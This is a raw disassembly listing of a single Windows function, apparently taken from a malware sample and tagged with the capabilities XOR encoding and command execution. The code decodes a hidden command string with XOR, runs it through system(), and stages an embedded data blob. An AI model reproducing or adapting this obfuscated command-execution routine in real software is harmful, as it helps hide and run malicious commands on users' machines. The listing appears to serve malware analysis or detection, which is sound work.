Function at 0x14007e660
Capabilities:
Encode data using xor
Execute command

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x50]
sub rsp, 0x150
mov rax, qword [0x1401d12b0]
xor rax, rsp
mov qword [rbp + 0x48], rax
xor esi, esi
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], reloc.WS2_32.dll_ntohs
lea r8d, [rsi + 0xc]
lea rdx, str.gzrnqtgt0gzg
lea rcx, [rsp + 0x50]
call fcn.140008610
mov edx, esi
nop
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0x10
setae r9b
mov r8, qword [rsp + 0x50]
cmovae rcx, r8
cmp byte [rdx + rcx], sil
je 0x14007e70a
lea rax, [rsp + 0x50]
test r9b, r9b
je 0x14007e6ef
movzx eax, byte [rdx + r8]
jmp 0x14007e6f8
movzx eax, byte [rax + rdx]
lea r8, [rsp + 0x50]
sub al, 2
mov byte [rdx + r8], al
inc rdx
cmp rdx, 0x400
jl 0x14007e6c0
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rbp + 0x28], xmm0
movups xmm1, xmmword [rsp + 0x60]
movups xmmword [rbp + 0x38], xmm1
lea rcx, [rbp + 0x28]
call fcn.14008fa80
mov ebx, eax
mov rdx, qword [rbp + 0x40]
cmp rdx, 0x10
jb 0x14007e765
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007e760
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14007e760
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14012eab4
mov ecx, Ordinal_26
call fcn.14012e828
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rax], xmm0
mov qword [rax + 0x10], rcx
lea r8d, [rcx + 2]
mov edx, ebx
mov rcx, rax
call fcn.14012dc10
mov rbx, rax
mov rcx, rax
call fcn.14012dc40
test rax, rax
je 0x14007e7cc
mov rcx, rbx
call fcn.14012dc40
cmp rax, 0x10000
jb 0x14007e7cc
mov rcx, rbx
call fcn.14012dc40
movabs rcx, 0x7ffffffeffff
cmp rax, rcx
jae 0x14007e7cc
mov al, 1
jmp 0x14007ea26
movdqa xmm0, xmmword [0x1401b3d20]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [str.xho_zvS__OAA]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm0, xmmword [0x1401b3be0]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x1401b3cd0]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [0x1401b3710]
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmm1, xmmword [0x1401b3620]
movdqa xmmword [rbp - 0x30], xmm1
movdqa xmm0, xmmword [0x1401b3670]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm1, xmmword [0x1401b3f30]
movdqa xmmword [rbp - 0x10], xmm1
movdqa xmm0, xmmword [0x1401b3f70]
movdqa xmmword [rbp], xmm0
mov dword [rbp + 0x10], 0xe4feb4e0
mov word [rbp + 0x14], 0xf8
mov byte [rbp + 0x16], 1
mov rcx, rsi
lea eax, [rcx + 9]
xor byte [rbp + rcx - 0x80], al
inc rcx
cmp rcx, 0x95
jb 0x14007e855
mov byte [rbp + 0x16], 0
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str..Nal
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x14007e8ba
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x14007ea26
call fcn.14009cf20
mov r12, rax
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x28], xmm1
mov r14, rsi
mov qword [rbp + 0x38], rsi
mov rbx, rsi
lea r15, [0x1401a44a0]
mov rdi, qword [rbp + 0x30]
nop
lea r8, [rbx + r15]
cmp rdi, r14
je 0x14007e8f8
movzx eax, byte [r8]
mov byte [rdi], al
inc rdi
mov qword [rbp + 0x30], rdi
jmp 0x14007e90c
mov rdx, rdi
lea rcx, [rbp + 0x28]
call fcn.140084690
mov r14, qword [rbp + 0x38]
mov rdi, qword [rbp + 0x30]
inc rbx
cmp rbx, 0x2600
jbe 0x14007e8e0
mov dword [rsp + 0x70], esi
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rsi
mov r15, qword [rbp + 0x28]
cmp r15, rdi
je 0x14007e9a1
sub rdi, r15
cmp rdi, 0x1000
jb 0x14007e96b
lea rcx, [rdi + 0x27]
cmp rcx, rdi
jbe 0x14007ea53
call fcn.14012e828
test rax, rax
je 0x14007e964
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14007e97b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rdi, rdi
je 0x14007e97b
mov rcx, rdi
call fcn.14012e828
mov rsi, rax
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rsi
lea rbx, [rsi + rdi]
mov qword [rsp + 0x60], rbx
mov r8, rdi
mov rdx, r15
mov rcx, rsi
call sub.VCRUNTIME140.dll_memmove
mov qword [rsp + 0x58], rbx
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0x50]
mov rcx, r12
call fcn.1400a0370
mov rcx, r12
test rax, rax
jne 0x14007e9c9
call fcn.14009d470
xor bl, bl
jmp 0x14007e9e8
call fcn.14009d470
lea rcx, [0x1401b10a0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov bl, 1
test r15, r15
je 0x14007ea23
sub r14, r15
mov rax, r15
cmp r14, 0x1000
jb 0x14007ea18
add r14, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14007ea18
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, r14
mov rcx, r15
call fcn.14012eab4
movzx eax, bl
mov rcx, qword [rbp + 0x48]
xor rcx, rsp
call fcn.14012e570
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.140004440
nop
int3